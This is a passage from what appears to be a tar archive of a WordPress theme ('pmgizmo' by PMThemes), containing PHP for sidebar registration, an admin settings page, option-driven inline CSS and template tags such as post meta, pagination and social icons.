add_action( 'widgets_init', 'pmthemes_register_sidebars' );
function pmthemes_register_sidebars() {
    register_sidebar( array(
        'name' => __( 'Main Sidebar', 'pmthemes' ),
        'id' => 'sidebar',
        'description' => __( 'Appears on posts and pages except front page and fullwidth template.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s clearfix">',
        'after_widget' => '</aside>',
        'before_title' => '<div class="widget-header"><h3 class="widgettitle">',
        'after_title' => '</h3></div>',
    ));
    register_sidebar( array(
        'name' => esc_html__( 'Sidebar Sub Column Left', 'pmthemes' ),
        'id' => 'sidebar2',
        'description' => esc_html__( 'Appears on left side under main sidebar.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s clearfix">',
        'after_widget' => '</aside>',
        'before_title' => '<div class="widget-header"><h4 class="widgettitle">',
        'after_title' => '</h4></div>',
    ));
    register_sidebar( array(
        'name' => esc_html__( 'Sidebar Sub Column Right', 'pmthemes' ),
        'id' => 'sidebar3',
        'description' => esc_html__( 'Appears on right side under main sidebar.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s clearfix">',
        'after_widget' => '</aside>',
        'before_title' => '<div class="widget-header"><h4 class="widgettitle">',
        'after_title' => '</h4></div>',
    ));
    register_sidebar( array(
        'name' => __( 'Header Content', 'pmthemes' ),
        'id' => 'head-content',
        'description' => __( 'Place your own content on the right side header. Ad block, search form, text, etc.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s clearfix">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widgettitle"><span>',
        'after_title' => '</span></h3>',
    ));
    register_sidebar( array(
        'name' => __( 'Magazine Front Page', 'pmthemes' ),
        'id' => 'frontpage-magazine',
        'description' => __( 'Appears on Magazine Front Page page template only. You can use the Home Posts widgets here.', 'pmthemes' ),
        'before_widget' => '<div id="%1$s" class="widget %2$s">',
        'after_widget' => '</div>',
        'before_title' => '<div class="widget-header"><h3 class="widgettitle">',
        'after_title' => '</h3></div>',
    ));
    register_sidebar( array(
        'name' => __( 'Footer Widget 1', 'pmthemes' ),
        'id' => 'footer-widgets-1',
        'description' => __( 'Appears on footer widgets.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widgettitle"><span>',
        'after_title' => '</span></h3>'
    ));
    register_sidebar( array(
        'name' => __( 'Footer Widget 2', 'pmthemes' ),
        'id' => 'footer-widgets-2',
        'description' => __( 'Appears on footer widgets.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widgettitle"><span>',
        'after_title' => '</span></h3>'
    ));
    register_sidebar( array(
        'name' => __( 'Footer Widget 3', 'pmthemes' ),
        'id' => 'footer-widgets-3',
        'description' => __( 'Appears on footer widgets.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widgettitle"><span>',
        'after_title' => '</span></h3>'
    ));
    register_sidebar( array(
        'name' => __( 'Footer Widget 4', 'pmthemes' ),
        'id' => 'footer-widgets-4',
        'description' => __( 'Appears on footer widgets.', 'pmthemes' ),
        'before_widget' => '<aside id="%1$s" class="widget %2$s">',
        'after_widget' => '</aside>',
        'before_title' => '<h3 class="widgettitle"><span>',
        'after_title' => '</span></h3>'
    ));
}

// Add title tag for older WordPress versions
if ( ! function_exists( '_wp_render_title_tag' ) ) :
	add_action( 'wp_head', 'pmthemes_wp_title' );
	function pmthemes_wp_title() { ?>	
		<title><?php wp_title( '|', true, 'right' ); ?></title>
<?php } endif;
// Add Default Menu Fallback Function
function pmthemes_default_menu() {
	echo '<ul id="nav-menu" class="nav-menu">'. wp_list_pages('title_li=&echo=0') .'</ul>';
}
// Get Featured Posts
function pmthemes_get_featured_content() {	return apply_filters( 'pmthemes_get_featured_content', false );
}
// Change Excerpt Length
add_filter('excerpt_length', 'pmthemes_excerpt_length');
function pmthemes_excerpt_length($length) {
    return 77;
}
// Slideshow Excerpt Length
function pmthemes_slideshow_excerpt_length($length) {
    return 15;
}
// Frontpage Category Excerpt Length
function pmthemes_frontpage_category_excerpt_length($length) {
    return 19;
}
// Post Boxed Excerpt Length
function pmthemes_postsbox_excerpt_length($length) {
    return 12;
}
// Post Boxed First Post Excerpt Length
function pmthemes_postsbox_first_excerpt_length($length) {
    return 45;
}
function pmthemes_related_posts_excerpt($length) {
$theme_options = pmthemes_theme_options();
    return $theme_options['related_excerpt_length'];
}
function pmthemes_archive_excerpts($length) {
    $theme_options = pmthemes_theme_options();
    return $theme_options['arch_excerpt_length'];
}

add_filter('excerpt_more', 'pmthemes_arch_excerpt_more');
// Remove Excerpt more if there's no excerpt
function pmthemes_arch_excerpt_more( $more ) {
    $theme_options = pmthemes_theme_options();
     if ($theme_options['arch_excerpt_length'] == 0 ) {
         return '';
     }
}

// Add Custom Body Classess
add_filter( 'body_class', 'pmthemes_body_classes' );
function pmthemes_body_classes( $classes ) {
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['layout']) and $theme_options['layout'] == 'left-sidebar' ) :
		$classes[] = 'rlayout';
	endif;
    if( is_archive('template-parts/content-fullpost.php') ):
        $classes[] = 'fullpost';
    endif;
    if ( isset($theme_options['theme_style']) and $theme_options['theme_style'] == 'wide-head' ) :
        $classes[] = 'wide-header';
    endif;
    if ( isset($theme_options['nav_on_header']) and $theme_options['nav_on_header'] == 'main-menu-header' ) :
        $classes[] = 'navhdr';
    endif;
	if ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd2' ) :
		$classes[] = 'wd2';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd3' ) :
		$classes[] = 'wd3';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd4' ) :
		$classes[] = 'wd4';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd5' ) :
		$classes[] = 'wd5';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd6' ) :
		$classes[] = 'wd6';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd7' ) :
		$classes[] = 'wd7';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd8' ) :
		$classes[] = 'wd8';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd9' ) :
		$classes[] = 'wd9';
	elseif ( isset($theme_options['theme_width']) and $theme_options['theme_width'] == 'wd10' ) :
		$classes[] = 'wd10';
	endif;

    if ( ! function_exists( 'pmthemes_child_body_classes' ) ) :
        if ( isset($theme_options['topnav_down']) and $theme_options['topnav_down'] == false ) :
            $classes[] = 'natty';
        endif;
    endif;
    
    return $classes;
}

// Custom Template for comments and pingbacks.
if ( ! function_exists( 'pmthemes_list_comments' ) ):
function pmthemes_list_comments($comment, $args, $depth) {
	$GLOBALS['comment'] = $comment;
	if( $comment->comment_type == 'pingback' or $comment->comment_type == 'trackback' ) : ?>
		<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
			<p><?php _e( 'Pingback:', 'pmthemes' ); ?> <?php comment_author_link(); ?>
			<?php edit_comment_link( __( '(Edit)', 'pmthemes' ), '<span class="edit-link">', '</span>' ); ?>
			</p>
	<?php else : ?>
		<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
			<div id="div-comment-<?php comment_ID(); ?>" class="comment-body">
				<div class="comment-author vcard">
					<?php echo get_avatar( $comment, 56 ); ?>
					<?php printf(__('<span class="fn">%s</span>', 'pmthemes'), get_comment_author_link()) ?>
				</div>
		<?php if ($comment->comment_approved == '0') : ?>
				<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'pmthemes' ); ?></p>
		<?php endif; ?>
				<div class="comment-meta commentmetadata">
					<a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"><?php printf(__('%1$s at %2$s', 'pmthemes'), get_comment_date(),  get_comment_time()) ?></a>
					<?php edit_comment_link(__('(Edit)', 'pmthemes'),'  ','') ?>
				</div>
				<div class="comment-content"><?php comment_text(); ?></div>
				<div class="reply">
					<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
				</div>
			</div>
	<?php endif; }
endif; 
if ( isset($theme_options['fb_meta_graph']) and $theme_options['fb_meta_graph'] == true ) :
add_opengraph_doctype(); 
insert_fb_in_head();
endif;
?>pmgizmo/inc/options.php000064400000006564152223213640011216 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
add_action( 'admin_menu', 'pmthemes_admin_page' );
add_action( 'admin_init', 'pmthemes_register_settings' );

define('NICHE_GOLD', 'pmthemes');
function pmthemes_admin_page(  ) { 
    $icon_url = get_template_directory_uri() . '/images/pm.png';
	$position = 59.7307;
	add_menu_page( 'PMThemes', 'PMThemes', 'edit_theme_options', 'pmthemes', 'pmthemes_options_page', $icon_url, $position );
	$pmthemes_settings_page = add_submenu_page('pmthemes', 'PMThemes', 'Theme Settings', 'edit_theme_options', 'pmthemes', 'pmthemes_options_page');
	
	wp_enqueue_style( 'pmthemes-options', get_template_directory_uri() . '/css/admin.css');
	wp_enqueue_style( 'pmthemes-style-grid', get_template_directory_uri() . '/css/grid.css', false, PMTHEMES_VERSION, 'all' );
}
function pmthemes_register_settings(  ) {
    $theme_name = PMTHEMES_NAME;
    register_setting( 'barn_gold', 'pmthemes_theme_options' );
	add_settings_section(
		'pmthemes_general_section',
		''.$theme_name.' Theme Settings',
		'pmthemes_settings_section_callback',
		'barn_gold'
	);
	add_settings_field( 
		'pmthemes_theme_info',
		'Theme Info',
		'pmthemes_theme_info_render',
		'barn_gold',
		'pmthemes_general_section'
	);
	add_settings_field( 
		'pmthemes_header_settings',
		'Header Settings',
		'pmthemes_header_settings_render',
		'barn_gold',
		'pmthemes_general_section'
	);
	add_settings_field(
		'pmthemes_footer_settings',
		'Footer Settings',
		'pmthemes_footer_settings_render',
		'barn_gold',
		'pmthemes_general_section'
	);

}
function pmthemes_theme_info_render(  ) { 
	$options = get_option( 'pmthemes_theme_options');
	?>
		<div class="postbox pmthemes-metabox" id="pmthemes_theme_info">
			<h3 class="hndle">Theme Info</h3>
			<div class="inside">
				<p>Version: <strong><?php echo PMTHEMES_VERSION; ?></strong></p>
                <p><?php echo PMTHEMES_NAME; ?> is a modern WordPress theme that supports <a href="<?php echo admin_url('customize.php'); ?>">WordPress Theme Customizer</a>.</p>
			</div>
		</div>
	<?php }
function pmthemes_header_settings_render (  ) { 
	$options = get_option( 'pmthemes_theme_options' );
	?>
	<div class="postbox pmthemes-metabox" id="pmthemes_header_settings">
			<h3 class="hndle">Customizing <?php echo PMTHEMES_NAME; ?> Theme Settings</h3>
			<div class="inside">
				Please use the <a href="<?php echo admin_url('customize.php'); ?>"><strong>Customizer Window</strong></a> to edit/change <strong>colors</strong>, fonts, logo, background images, and other elements.<br /><br />
				The WordPress Theme Customizer allows you to preview changes to your site before publishing them. You can also navigate to different pages on your site to preview them.
			</div>
	</div>
	<?php }
function pmthemes_footer_settings_render (){
}
function pmthemes_settings_section_callback() {
}

function pmthemes_options_page(  ) { 
	?>
<div id="pmthemes">
<div class="wrap">
	<div class="metabox-holder">
		<div class="postbox-container">
			<div class="grid-container grid-parent">
				<div class="form-metabox grid-70">
                    <form action='options.php' method='post'>
                    <?php settings_fields( 'barn_gold' );
                    do_settings_sections( 'barn_gold' ); ?>
				</div>
			</form>
			</div>
		</div>
	</div>
</div>
</div>
<?php }pmgizmo/inc/custom-styles.php000064400000030455152223213640012352 0ustar00<?php
/***
 * Custom Styles
 *
 * Get custom styles from theme options
 * in the <head> area of the theme.
 *
 */
// No direct access, yes
if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

// Render Custom Style Setting
add_action( 'wp_enqueue_scripts', 'pmthemes_custom_styling');
function pmthemes_custom_styling() {
    // Get Theme Options from Database
    $theme_options = pmthemes_theme_options();
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Set Font CSS Variable
    $mystyle_css = '';
    // Header Top Border Color and Height
    if ( isset($theme_options['header_top_border_enable']) and $theme_options['header_top_border_enable'] == $theme_def['gen_check_yes'] ) :
        $mystyle_css .= '
            #header-wrap {
                border-top: '. $theme_options['header_topbo_height'] .'px solid '. $theme_options['header_topbo'] .';
            }';
    endif;
    // Header Bottom Border Color and Height
    if ( isset($theme_options['header_bottom_border_enable']) and $theme_options['header_bottom_border_enable'] == $theme_def['gen_check_yes'] ) :
        $mystyle_css .= '
            #header-wrap {
                border-bottom: '. $theme_options['header_bottom_bor_height'] .'px solid '. $theme_options['header_bottom_border'] .';
            }';
    endif;
    // Header Padding
    if ( isset($theme_options['header_adjust']) and $theme_options['header_adjust'] == $theme_def['gen_check_yes'] ) :
        $mystyle_css .= '
            #header, .wide-header #header {padding: '. $theme_options['header_padding_top'] .'em '. $theme_options['header_padding_right'] .'em ' . $theme_options['header_padding_bottom'] .'em '. $theme_options['header_padding_left'] .'em;}';
    endif;
    // Logo & Banner Balance
    if ( isset($theme_options['logo_title_width']) and $theme_options['logo_title_width'] <> $theme_def['logo_title_width'] ) :
        $mystyle_css .= '
            @media only screen and (min-width: 60em){
            #logo {
                max-width: ' . $theme_options['logo_title_width'] . '%;
            }
            #header-banner, #header #navi-wrap {
                max-width: calc(100% - ' . $theme_options['logo_title_width'] . '%);
            }}';
    endif;
    // Site Title Font Size
    if ( isset($theme_options['title_font_size']) and $theme_options['title_font_size'] <> $theme_def['title_font_size']) :
        $mystyle_css .= '
            #logo .site-title {
                font-size: calc(' . $theme_options['title_font_size_mobile'] . 'px + (' . $theme_options['title_font_size'] . ' - ' . $theme_options['title_font_size_mobile'] . ') * ((100vw - 300px) / (1555 - 320)));
            }';
    endif;
    // Site Title Font Spacing
    if ( isset($theme_options['title_font_space']) and $theme_options['title_font_space'] <> $theme_def['title_font_space'] ) :
        $mystyle_css .= '
            @media only screen and (min-width: 60em){
            #logo .site-title {
                letter-spacing: ' . $theme_options['title_font_space'] . 'px;
            }}';
    endif;
    // Site Description Font Size
    if ( isset($theme_options['title_describe_size']) and $theme_options['title_describe_size'] <> $theme_def['title_describe_size']) :
        $mystyle_css .= '
            #logo .site-description {
                font-size: calc(14px + (' . $theme_options['title_describe_size'] . ' - 14) * ((100vw - 320px) / (1555 - 320)));
            }';
    endif;
    // Top Navigation Settings
    if ( isset($theme_options['topmenu_font_size']) and $theme_options['topmenu_font_size'] <> $theme_def['topmenu_font_size'] ) :
        $mystyle_css .= '
            #topnav-menu a, .topinner .social-icons-menu li a {
                font-size: ' . $theme_options['topmenu_font_size'] . 'em;
                padding: ' . $theme_options['topmenu_bar_padding'] . 'em;
            }';
    endif;
    // Main Navigation Settings
    if ( isset($theme_options['mainmenu_font_size']) and $theme_options['mainmenu_font_size'] <> $theme_def['mainmenu_font_size'] ) :
        $mystyle_css .= '
            .nav-menu li a {
                font-size: ' . $theme_options['mainmenu_font_size'] . 'em;
                padding: ' . $theme_options['mainmenu_bar_padding'] . 'em;
            }';
    endif;
    // Main Navigation Search Icon
    if ( isset($theme_options['search_icon']) and $theme_options['search_icon'] == true ) :
        $mystyle_css .= '
            .main-navigation {
                margin-right: 1em;
            }';
    endif;
    // Hide Dropdown Indicator
    if ( isset($theme_options['no_drpdown_ind']) and $theme_options['no_drpdown_ind'] == true ) :
        $mystyle_css .= '
            .nav-menu li.menu-item-has-children > a:after, .nav-menu .submenu li.menu-item-has-children > a:after {
                display: none;
            }';
    endif;
    // Set Content vs Sidebar Width
    if ( isset($theme_options['sidecon_width']) and $theme_options['sidecon_width'] <> $theme_def['sidecon_width'] ) :
        $mystyle_css .= '
            @media only screen and (min-width: 60em){
            #content {
                width: calc(100% - ' . $theme_options['sidecon_width'] . '%);
            }
            .rlayout #sidebar {
                width: ' . $theme_options['sidecon_width'] . '%;
                margin-right: calc(100% - ' . $theme_options['sidecon_width'] . '%);
            }
            #sidebar {
                width: ' . $theme_options['sidecon_width'] . '%;
                margin-left:calc(100% - ' . $theme_options['sidecon_width'] . '%);
            }
            }';
    endif;
    // Remove Wide Header Body Margin
    if ( isset($theme_options['no_body_margin']) and $theme_options['no_body_margin'] == $theme_def['gen_check_yes']) :
        $mystyle_css .= '
            .wide-header #content-wrap {
                margin: 0 auto;
            }';
    endif;
    // Remove Wide Header Border and Shadow
    if ( isset($theme_options['no_body_border']) and $theme_options['no_body_border'] == $theme_def['gen_check_yes']) :
        $mystyle_css .= '
            #wrapper, .wide-header #wrap, .wide-header #content-wrap {
                -webkit-box-shadow: none;
                 box-shadow: none;
                 border: none;
            }';
    endif;
    // Sidebar Padding
    if ( isset($theme_options['sidebar_padding_adjust']) and $theme_options['sidebar_padding_adjust'] == $theme_def['gen_check_yes'] ) :
        $mystyle_css .= '
            #sidebar {
                padding: '. $theme_options['sidebar_padding_top'] .'em '. $theme_options['sidebar_padding_right'] .'em '.
            $theme_options['sidebar_padding_bottom'] .'em '. $theme_options['sidebar_padding_left'] .'em;
            }';
    endif;
    // Post Title Font Size
    if ( isset($theme_options['posts_title_font_size']) and $theme_options['posts_title_font_size'] <> $theme_def['posts_title_font_size'] ) :
        $mystyle_css .= '
            .page-title, .post-title {
                font-size: ' . $theme_options['posts_title_font_size'] .'em;
            }';
    endif;
    // Products Title Font Size
    if ( isset($theme_options['product_title_font_size']) and $theme_options['product_title_font_size'] <> $theme_def['product_title_font_size'] ) :
        $mystyle_css .= '
            .woocommerce div.product .product_title {
                font-size: ' . $theme_options['product_title_font_size'] .'em;
            }';
    endif;
    // Posts/Pages Font Size
    if ( isset($theme_options['entry_font_sizes']) and $theme_options['entry_font_sizes'] <> $theme_def['entry_font_sizes'] ) :
        $mystyle_css .= '
            .entry p, .entry li, .entry tr td, code, pre, dd, dt, strong,.entry thead th, .entry tr th,
            address, .comment p,.comment li, .comment tr td, .bypostauthor .fn,
            .comment-author-admin .fn, .comment-author .fn {
                font-size: ' . $theme_options['entry_font_sizes'] .'em;
            }';
    endif;
    // Front Page Small Post Title Font Size
    if ( isset($theme_options['front_page_font_size']) and $theme_options['front_page_font_size'] <> $theme_def['front_page_font_size'] ) :
        $mystyle_css .= '
            .widget-category-posts .small-post .post-title {
                font-size: ' . $theme_options['front_page_font_size'] .'em;
            }';
    endif;
    // Front Page Big Post Title Font Size
    if ( isset($theme_options['front_page_fonts_size']) and $theme_options['front_page_fonts_size'] <> $theme_def['front_page_fonts_size'] ) :
        $mystyle_css .= '
            .widget-category-posts .big-post .post-title {
                font-size: ' . $theme_options['front_page_fonts_size'] .'em;
            }';
    endif;
    // Front Page Single Posts Title Font Size
    if ( isset($theme_options['front_posts_font_size']) and $theme_options['front_posts_font_size'] <> $theme_def['front_posts_font_size'] ) :
        $mystyle_css .= '
            #widget-category-posts-single .single-post .post-title {
                font-size: ' . $theme_options['front_posts_font_size'] .'em;
            }';
    endif;
    // Front Page Header Bar Font Size
    if ( isset($theme_options['frontbar_font_size']) and $theme_options['frontbar_font_size'] <> $theme_def['frontbar_font_size'] ) :
        $mystyle_css .= '
            #frontpage-magazine-widgets .widget .widgettitle {
                font-size: ' . $theme_options['frontbar_font_size'] . 'em;
            }';
    endif;
    // Frontpage Widget Header Font Padding
    if ( isset($theme_options['fpbar_font_pad_top']) and $theme_options['fpbar_font_pad_top'] <> $theme_def['fpbar_font_pad_top'] or
        isset($theme_options['fpbar_font_pad_right']) and $theme_options['fpbar_font_pad_right'] <> $theme_def['fpbar_font_pad_right'] or
        isset($theme_options['fpbar_font_pad_bottom']) and $theme_options['fpbar_font_pad_bottom'] <> $theme_def['fpbar_font_pad_bottom'] or
        isset($theme_options['fpbar_font_pad_left']) and $theme_options['fpbar_font_pad_left'] <> $theme_def['fpbar_font_pad_left'] ) :
        $mystyle_css .= '
            #frontpage-magazine-widgets .widget .widgettitle {padding: ' . $theme_options['fpbar_font_pad_top'] . 'px ' . $theme_options['fpbar_font_pad_right'] . 'px ' . $theme_options['fpbar_font_pad_bottom'] . 'px ' . $theme_options['fpbar_font_pad_left'] . 'px;}';
    endif;
    // Sidebar Header Bar Font Size
    if ( isset($theme_options['wgtbar_font_size']) and $theme_options['wgtbar_font_size'] <> $theme_def['wgtbar_font_size'] ) :
        $mystyle_css .= '
            #sidebar .widget .widgettitle {
                font-size: ' . $theme_options['wgtbar_font_size'] . 'em;
            }';
    endif;
    // Sidebar Header Bar Font Padding
    if ( isset($theme_options['sidebar_font_pad_top']) and $theme_options['sidebar_font_pad_top'] <> $theme_def['sidebar_font_pad_top'] or
        isset($theme_options['sidebar_font_pad_right']) and $theme_options['sidebar_font_pad_right'] <> $theme_def['sidebar_font_pad_right'] or
        isset($theme_options['sidebar_font_pad_bottom']) and $theme_options['sidebar_font_pad_bottom'] <> $theme_def['sidebar_font_pad_bottom'] or
        isset($theme_options['sidebar_font_pad_left']) and $theme_options['sidebar_font_pad_left'] <> $theme_def['sidebar_font_pad_left'] ) :
        $mystyle_css .= '
            #sidebar .widget .widgettitle {padding: ' . $theme_options['sidebar_font_pad_top'] . 'px ' . $theme_options['sidebar_font_pad_right'] . 'px ' . $theme_options['sidebar_font_pad_bottom'] . 'px ' . $theme_options['sidebar_font_pad_left'] . 'px;}';
    endif;
    if ( isset($theme_options['tabbed_font_size']) and $theme_options['tabbed_font_size'] <> $theme_def['tabbed_font_size'] ) :
        $mystyle_css .= '
            .widget-tabnavi {
                font-size: ' . $theme_options['tabbed_font_size'] . 'em;
            }';
    endif;
    if ( isset($theme_options['side_tabbed_padding']) and $theme_options['side_tabbed_padding'] <> $theme_def['side_tabbed_padding'] ) :
        $mystyle_css .= '
            .widget-tabnav li a {
                padding: ' . $theme_options['side_tabbed_padding'] . 'em;
            }';
    endif;
    // Print Font CSS
    if ( $mystyle_css ) {
        wp_add_inline_style( 'pmthemes-custom', $mystyle_css );
    }
}


pmgizmo/inc/theme-tags.php000064400000033537152223213640011561 0ustar00<?php
/***
 * Template Tags
 *
 * This file contains several template functions which are used to print out specific HTML markup
 * in the theme. You can override these template functions within your child theme.
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Display Site Title
add_action( 'pmthemes_site_title', 'pmthemes_display_site_title' );
function pmthemes_display_site_title() { ?>
	<a href="<?php echo esc_url(home_url('/')); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home">
		<h1 class="site-title"><?php bloginfo('name'); ?></h1>
	</a>
	<?php }

// Display Custom Header
if ( ! function_exists( 'pmthemes_display_custom_header' ) ):
	function pmthemes_display_custom_header() {
	if( get_header_image() ) : ?>
			<style type="text/css">#header-wrap{background: url(<?php echo get_header_image(); ?>);}</style>
	<?php endif; }
endif;

// Display Postmeta Data
if ( ! function_exists( 'pmthemes_display_postmeta' ) ):
	function pmthemes_display_postmeta() { ?>
	<?php 
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['show_post_dates']) and $theme_options['show_post_dates'] == true ) : ?>
    <div class="postmeta">
		<span class="meta-date">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="bookmark"><time datetime="%3$s">%4$s</time></a>', 'pmthemes'), 
				esc_url( get_permalink() ),
				esc_attr( get_the_time() ),
				esc_attr( get_the_date( 'c' ) ),
				esc_html( get_the_date() )
			);
		?>
		</span>
    </div>
	<?php endif;
    if ( isset($theme_options['show_post_author']) and $theme_options['show_post_author'] == true ) : ?>
		<span class="meta-author">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="author">%3$s</a>', 'pmthemes'), 
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				esc_attr( sprintf( __( 'View all posts by %s', 'pmthemes' ), get_the_author() ) ),
				get_the_author()
			);
		?>
		</span>
	<?php endif;
    if ( isset($theme_options['show_post_category']) and $theme_options['show_post_category'] == true ) : ?>
		<span class="meta-category">
			<?php printf(__('%1$s', 'pmthemes'), get_the_category_list(', ')); ?>
		</span>
 	<?php endif; ?>
	<?php
		edit_post_link(__( 'Edit Post', 'pmthemes' ));
	}
endif;

// Display Post Thumbnail on Archive Pages
function pmthemes_display_thumbnail_index() {
    $theme_options = pmthemes_theme_options();
    if ( isset($theme_options['post_thumbnails_index']) and $theme_options['post_thumbnails_index'] == true ) : ?>
        <a href="<?php esc_url(the_permalink()) ?>" rel="bookmark">
            <?php
            if ( $theme_options['pmth_arc_img_size'] == 'pmth-img-large' ) {
                $featimg = 'featured_image_posts';
            } else {
                $featimg = 'featured_image';
            }
            the_post_thumbnail($featimg, array('class' => ''. $theme_options['pmth_arc_align_img'] .' grow'));
            ?>
        </a>
    <?php endif;
}

// Display Post Thumbnail on single posts
function pmthemes_display_thumbnail_single() {
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['post_thumbnails_single']) and $theme_options['post_thumbnails_single'] == true ) :
		the_post_thumbnail('featured_image_posts', array('class' => 'aligncenter'));
	endif;
}

// Display Postinfo Data and Comment Info on Archive Pages
if ( ! function_exists( 'pmthemes_display_postinfo' ) ):
function pmthemes_display_postinfo() {
  	$theme_options = pmthemes_theme_options();
    $tags = get_the_tag_list('<span class="meta-tags"> ',', ','</span>');
    $comments = $theme_options['hide_post_comment'];
	if (( $comments == false ) or ( ! empty ( $tags ) )) :
        echo '<div class="postinfo clearfix">';
            if ( $comments == false ) :
                echo '<span class="meta-comments">';
                    comments_popup_link( __('Leave a comment', 'pmthemes'),__('One comment','pmthemes'),__('% comments','pmthemes') );
                echo '</span>';
            endif;
            if ( ! empty ( $tags ) ) :
                echo $tags;
            endif;
        echo '</div>';
    endif;
}
endif;

// Display Related Posts
function pmthemes_related_posts() {
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['related_posts_single']) and $theme_options['related_posts_single'] == true ) :
			get_template_part('inc/related');
	endif;
}

// Display Related Posts
function pmthemes_excerpt_text() {
    $theme_options = pmthemes_theme_options();
    $excerpt_text = $theme_options['excerpt_text'];
    if ( isset($excerpt_text) and $excerpt_text !== '' ) :
            printf(__('<a href="%1$s" class="more-link">%2$s</a>', 'pmthemes'),
                esc_url( get_permalink() ),
                $excerpt_text
        );
    endif;
}

// Display Content Pagination
if ( ! function_exists( 'pmthemes_display_pagination' ) ):
	function pmthemes_display_pagination() { 
		global $wp_query;
		$big = 999999999; // need an unlikely integer
		 $paginate_links = paginate_links( array(
				'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
				'format' => '?paged=%#%',				
				'current' => max( 1, get_query_var( 'paged' ) ),
				'total' => $wp_query->max_num_pages,
				'next_text' => '&raquo;',
				'prev_text' => '&laquo',
				'add_args' => false
			) );
		// Display the pagination if more than one page is found
		if ( $paginate_links ) : ?>
			<div class="post-pagination clearfix">
				<?php echo $paginate_links; ?>
			</div>
		<?php
		endif;
	}
endif;

// Display Footer Text
add_action( 'pmthemes_footer_text', 'pmthemes_display_footer_text' );
function pmthemes_display_footer_text() { 
	$theme_options = pmthemes_theme_options();
    $theme_def = pmthemes_default_options();
	if ( isset( $theme_options['footer_text'] ) and $theme_options['footer_text'] <> $theme_def['footer_text'] ) :
		echo do_shortcode(wp_kses_post($theme_options['footer_text']));	
		else: ?>
	<?php endif;
	// Display Credit Link only if activated
	if ( isset($theme_options['credit_link']) and $theme_options['credit_link'] == true ) :
		echo ' <span class="credit-link">';
		echo 'Theme by <a href="'. PMTHEMES_SITE_URL .'" target="_blank" title="'. PMTHEMES_SITE_NAME .' WordPress Theme">'. PMTHEMES_SITE_NAME .'</a>';
		echo '</span>';	
	endif;
}

// Header Code
add_action( 'wp_head','pmthemes_headercode', 100 );
function pmthemes_headercode(){
	$theme_options = pmthemes_theme_options();
    $theme_def = pmthemes_default_options();
	if ( isset( $theme_options['header_code'] ) and $theme_options['header_code'] <> $theme_def['track_code'] ) :
		echo do_shortcode(($theme_options['header_code']));	
	endif; 
}

// Footer Analytics
add_action( 'wp_footer','pmthemes_analytics', 100 );
function pmthemes_analytics(){
	$theme_options = pmthemes_theme_options();
    $theme_def = pmthemes_default_options();
	if ( isset( $theme_options['track_code'] ) and $theme_options['track_code'] <> $theme_def['track_code'] ) :
		echo do_shortcode(($theme_options['track_code']));	
	endif; 
}

// Scroll to Top
add_action( 'pmthemes_scroll_top', 'pmthemes_display_scroll_top' );
function pmthemes_display_scroll_top() {
    $theme_options = pmthemes_theme_options();
    $theme_def = pmthemes_default_options();
    if ( isset( $theme_options['link_to_top'] ) and $theme_options['link_to_top'] == $theme_def['link_to_top'] ) :
        echo '<a href="#" class="scrollToTop"></a>';
    endif;
}

// Social Icons
function pmthemes_display_social_icons() {
    echo '<div id="header-social-icons" class="social-icons-wrap clearfix">';
	// Check if there is a social_icons menu
	if( has_nav_menu( 'social' ) ) :
		// Display Social Icons Menu
		wp_nav_menu( array(
			'theme_location' => 'social',
			'container' => false,
			'menu_class' => 'social-icons-menu',
			'echo' => true,
			'fallback_cb' => '',
			'before' => '',
			'after' => '',
			'link_before' => '<span class="screen-reader-text">',
			'link_after' => '</span>',
			'depth' => 1
			)
		);
	else: ?>
		<p class="social-icons-hint">
			<?php _e('Please go to WP-Admin-> Appearance-> Menus and create a new custom menu with custom links to all your social networks. Then click on "Manage Locations" tab and assign your created menu to the "Social Icons" theme location.', 'pmthemes'); ?>
		</p>
	<?php endif;
    echo '</div>';
}

//Add the Open Graph in the Language Attributes
$theme_options = pmthemes_theme_options();
if ( isset($theme_options['fb_meta_graph']) and $theme_options['fb_meta_graph'] == true ) :
function add_opengraph_doctype( $output ) {
		return $output . ' prefix="og: http://ogp.me/ns#"';
	}
